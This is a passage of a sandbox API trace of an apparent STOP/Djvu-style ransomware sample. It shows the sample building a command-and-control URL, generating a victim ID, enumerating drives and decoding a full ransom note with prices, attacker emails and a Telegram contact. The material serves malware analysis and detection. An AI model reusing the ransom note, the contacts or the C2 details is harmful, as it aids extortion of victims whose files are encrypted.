returned 1 [0048.794] lstrcatW (in: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php", lpString2="" | out: lpString1="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php") returned="http://bruze2.ug/ASd3457oHOIUSDhfsuft33i76t21/95898398498ihsdfasd/get.php" [0048.794] lstrlenW (lpString="") returned 0 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x12) returned 0x37e2090 [0048.794] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x288) returned 0x3811bf0 [0048.795] GetAdaptersInfo (in: AdapterInfo=0x3811bf0, SizePointer=0x18e8b4 | out: AdapterInfo=0x3811bf0, SizePointer=0x18e8b4) returned 0x0 [0048.811] GetAdaptersInfo (in: AdapterInfo=0x3811bf0, SizePointer=0x18e8b4 | out: AdapterInfo=0x3811bf0, SizePointer=0x18e8b4) returned 0x0 [0048.820] GetLastError () returned 0x0 [0048.820] GetLastError () returned 0x0 [0048.821] CryptAcquireContextW (in: phProv=0x18e884, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e884*=0xe30a38) returned 1 [0048.822] CryptCreateHash (in: hProv=0xe30a38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e88c | out: phHash=0x18e88c) returned 1 [0048.822] CryptHashData (hHash=0x382de30, pbData=0x3834630, dwDataLen=0x11, dwFlags=0x0) returned 1 [0048.822] CryptGetHashParam (in: hHash=0x382de30, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e888, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e888) returned 1 [0048.822] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x11) returned 0x37e2370 [0048.822] CryptGetHashParam (in: hHash=0x382de30, dwParam=0x2, pbData=0x37e2370, pdwDataLen=0x18e888, dwFlags=0x0 | out: pbData=0x37e2370, pdwDataLen=0x18e888) returned 1 [0048.822] GetLastError () returned 0x0 [0048.822] CryptDestroyHash (hHash=0x382de30) returned 1 [0048.822] CryptReleaseContext (hProv=0xe30a38, dwFlags=0x0) returned 1 [0048.822] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834630 | out: hHeap=0xd50000) returned 1 [0048.822] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37fadb0 [0048.822] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e6af8 | out: hHeap=0xd50000) returned 1 [0048.822] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe35bc0 | out: hHeap=0xd50000) returned 1 [0048.823] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0x9d4) returned 0x5c8 [0049.038] WaitForSingleObject (hHandle=0x5c8, dwMilliseconds=0xffffffff) returned 0x0 [0050.283] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5c4 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x28) returned 0x3833b30 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3831010 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3831278 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38314e0 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3831748 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38319b0 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3831c18 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383dff0 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383e258 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383e4c0 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383e728 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f4d0 [0050.283] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x428) returned 0x3811bf0 [0050.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O", cchWideChar=-1, lpMultiByteStr=0x3811bf0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O", lpUsedDefaultChar=0x0) returned 41 [0050.284] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x430) returned 0x3812f20 [0050.284] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3811bf0 | out: hHeap=0xd50000) returned 1 [0050.284] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f4d0 | out: hHeap=0xd50000) returned 1 [0050.284] CryptAcquireContextW (in: phProv=0x18e8f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e8f4*=0xe30ce0) returned 1 [0050.284] CryptCreateHash (in: hProv=0xe30ce0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e8f8 | out: phHash=0x18e8f8) returned 1 [0050.285] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O") returned 40 [0050.285] CryptHashData (hHash=0x382deb0, pbData=0x3812f20, dwDataLen=0x28, dwFlags=0x0) returned 1 [0050.285] CryptGetHashParam (in: hHash=0x382deb0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e8fc, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e8fc) returned 1 [0050.285] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x11) returned 0x37e2370 [0050.285] CryptGetHashParam (in: hHash=0x382deb0, dwParam=0x2, pbData=0x37e2370, pdwDataLen=0x18e8fc, dwFlags=0x0 | out: pbData=0x37e2370, pdwDataLen=0x18e8fc) returned 1 [0050.285] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x34) returned 0x382def0 [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="", lpString2="E0" | out: lpString1="E0") returned="E0" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0", lpString2="AD" | out: lpString1="E0AD") returned="E0AD" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD", lpString2="67" | out: lpString1="E0AD67") returned="E0AD67" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD67", lpString2="45" | out: lpString1="E0AD6745") returned="E0AD6745" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD6745", lpString2="B3" | out: lpString1="E0AD6745B3") returned="E0AD6745B3" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD6745B3", lpString2="89" | out: lpString1="E0AD6745B389") returned="E0AD6745B389" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD6745B389", lpString2="4E" | out: lpString1="E0AD6745B3894E") returned="E0AD6745B3894E" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD6745B3894E", lpString2="89" | out: lpString1="E0AD6745B3894E89") returned="E0AD6745B3894E89" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD6745B3894E89", lpString2="D6" | out: lpString1="E0AD6745B3894E89D6") returned="E0AD6745B3894E89D6" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD6745B3894E89D6", lpString2="B1" | out: lpString1="E0AD6745B3894E89D6B1") returned="E0AD6745B3894E89D6B1" [0050.285] GetLastError () returned 0x0 [0050.285] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1", lpString2="32" | out: lpString1="E0AD6745B3894E89D6B132") returned="E0AD6745B3894E89D6B132" [0050.286] GetLastError () returned 0x0 [0050.286] lstrcatA (in: lpString1="E0AD6745B3894E89D6B132", lpString2="5E" | out: lpString1="E0AD6745B3894E89D6B1325E") returned="E0AD6745B3894E89D6B1325E" [0050.286] GetLastError () returned 0x0 [0050.286] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E", lpString2="4D" | out: lpString1="E0AD6745B3894E89D6B1325E4D") returned="E0AD6745B3894E89D6B1325E4D" [0050.286] GetLastError () returned 0x0 [0050.286] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E4D", lpString2="CF" | out: lpString1="E0AD6745B3894E89D6B1325E4DCF") returned="E0AD6745B3894E89D6B1325E4DCF" [0050.286] GetLastError () returned 0x0 [0050.286] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E4DCF", lpString2="4B" | out: lpString1="E0AD6745B3894E89D6B1325E4DCF4B") returned="E0AD6745B3894E89D6B1325E4DCF4B" [0050.286] GetLastError () returned 0x0 [0050.286] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E4DCF4B", lpString2="83" | out: lpString1="E0AD6745B3894E89D6B1325E4DCF4B83") returned="E0AD6745B3894E89D6B1325E4DCF4B83" [0050.286] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e2370 | out: hHeap=0xd50000) returned 1 [0050.286] CryptDestroyHash (hHash=0x382deb0) returned 1 [0050.286] CryptReleaseContext (hProv=0xe30ce0, dwFlags=0x0) returned 1 [0050.286] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812f20 | out: hHeap=0xd50000) returned 1 [0050.286] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f4d0 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x28) returned 0x3833b60 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383e990 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383ebf8 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383ee60 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383f0c8 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383f330 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383f598 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383f800 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383fa68 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x383fcd0 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3844030 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x816) returned 0x3812f20 [0050.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x3812f20, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0050.286] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x820) returned 0x37f6dc0 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3812f20 | out: hHeap=0xd50000) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x28) returned 0x3833b90 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3844298 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3844500 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3844768 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38449d0 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3844c38 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3844ea0 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3845108 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3845370 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38455d8 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3845840 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xa0) returned 0x37b56c0 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x130) returned 0x37d7b80 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37b56c0 | out: hHeap=0xd50000) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x1d0) returned 0x37fdc08 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d7b80 | out: hHeap=0xd50000) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2b7) returned 0x3811bf0 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fdc08 | out: hHeap=0xd50000) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x412) returned 0x37f75e8 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3811bf0 | out: hHeap=0xd50000) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x61a) returned 0x3812f20 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f75e8 | out: hHeap=0xd50000) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x470) returned 0x3811bf0 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x10da) returned 0x37f8138 [0050.287] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3811bf0, cbMultiByte=-1, lpWideCharStr=0x37f8138, cchWideChar=2157 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned 1134 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x10e0) returned 0x37f9220 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f8138 | out: hHeap=0xd50000) returned 1 [0050.287] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3811bf0 | out: hHeap=0xd50000) returned 1 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x28) returned 0x3833bc0 [0050.287] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3845aa8 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3845d10 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3845f78 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38461e0 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3846448 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38466b0 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3846918 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3846b80 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3846de8 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3847050 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x80c) returned 0x37fa308 [0050.288] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x37fa308, cchWideChar=1030 | out: lpWideCharStr=".gusau") returned 7 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x37f8138 [0050.288] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fa308 | out: hHeap=0xd50000) returned 1 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x20) returned 0xe35bc0 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x30) returned 0x37fade8 [0050.288] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e2030 | out: hHeap=0xd50000) returned 1 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x50) returned 0x3834ff0 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x48) returned 0x3826da0 [0050.288] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fade8 | out: hHeap=0xd50000) returned 1 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f538 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f5a0 [0050.288] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3826da0 | out: hHeap=0xd50000) returned 1 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fe9b0 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x90) returned 0x3822840 [0050.288] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f5a0 | out: hHeap=0xd50000) returned 1 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x50) returned 0x3835048 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x50) returned 0x38350a0 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xd8) returned 0x3783140 [0050.288] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3822840 | out: hHeap=0xd50000) returned 1 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fea40 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x20) returned 0x3834680 [0050.288] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x50) returned 0x38350f8 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x138) returned 0x37d7b80 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3783140 | out: hHeap=0xd50000) returned 1 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x60) returned 0x377f5a0 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fea88 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x50) returned 0x3835150 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x50) returned 0x38351a8 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x1c8) returned 0x3842208 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d7b80 | out: hHeap=0xd50000) returned 1 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x40) returned 0x37fead0 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fbd30 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0xe35bc0 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834ff0 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f538 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fe9b0 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3835048 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38350a0 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fea40 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3834680 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38350f8 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x377f5a0 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fea88 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3835150 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x38351a8 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fead0 | out: hHeap=0xd50000) returned 1 [0050.289] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3842208 | out: hHeap=0xd50000) returned 1 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x28) returned 0x3833bf0 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38472b8 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3847520 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3847788 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38479f0 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3847c58 [0050.289] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3848030 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3848298 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3848500 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x3848768 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x25c) returned 0x38489d0 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0xa0) returned 0x37b56c0 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x130) returned 0x37d7b80 [0050.290] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37b56c0 | out: hHeap=0xd50000) returned 1 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x1d0) returned 0x37fdc08 [0050.290] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37d7b80 | out: hHeap=0xd50000) returned 1 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x2b7) returned 0x3811bf0 [0050.290] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37fdc08 | out: hHeap=0xd50000) returned 1 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x412) returned 0x37f75e8 [0050.290] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3811bf0 | out: hHeap=0xd50000) returned 1 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x61a) returned 0x37f8950 [0050.290] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37f75e8 | out: hHeap=0xd50000) returned 1 [0050.290] GetUserNameW (in: lpBuffer=0x18ec08, pcbBuffer=0x18e974 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e974) returned 1 [0050.290] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x590) returned 0x37f75e8 [0050.290] GetLastError () returned 0x0 [0050.297] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e668, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0050.297] GetLastError () returned 0x3 [0050.297] GetLastError () returned 0x3 [0050.297] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0050.298] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e668, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0050.298] GetFileType (hFile=0x5d0) returned 0x1 [0050.298] GetLastError () returned 0x0 [0050.300] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0050.300] RegisterClassExW (param_1=0x18e8e0) returned 0xc13e [0050.300] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x50122 [0050.301] NtdllDefWindowProc_W () returned 0x0 [0050.301] NtdllDefWindowProc_W () returned 0x1 [0050.303] NtdllDefWindowProc_W () returned 0x0 [0050.402] NtdllDefWindowProc_W () returned 0x0 [0050.402] ShowWindow (hWnd=0x50122, nCmdShow=0) returned 0 [0050.402] UpdateWindow (hWnd=0x50122) returned 1 [0050.402] GetLogicalDrives () returned 0x4 [0050.402] SetErrorMode (uMode=0x1) returned 0x0 [0050.402] PathFileExistsA (pszPath="C:\\") returned 1 [0050.402] SetErrorMode (uMode=0x0) returned 0x1 [0050.403] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x806) returned 0x3850118 [0050.403] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e898, cbMultiByte=-1, lpWideCharStr=0x3850118, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x810) returned 0x3850928 [0050.403] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3850118 | out: hHeap=0xd50000) returned 1 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x18) returned 0x37e2050 [0050.403] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x3850928 | out: hHeap=0xd50000) returned 1 [0050.403] HeapFree (in: hHeap=0xd50000, dwFlags=0x0, lpMem=0x37e2050 | out: hHeap=0xd50000) returned 1 [0050.403] RtlAllocateHeap (HeapHandle=0xd50000, Flags=0x0, Size=0x18) returned 0x37e2050 [0050.403] RtlAllocateHeap 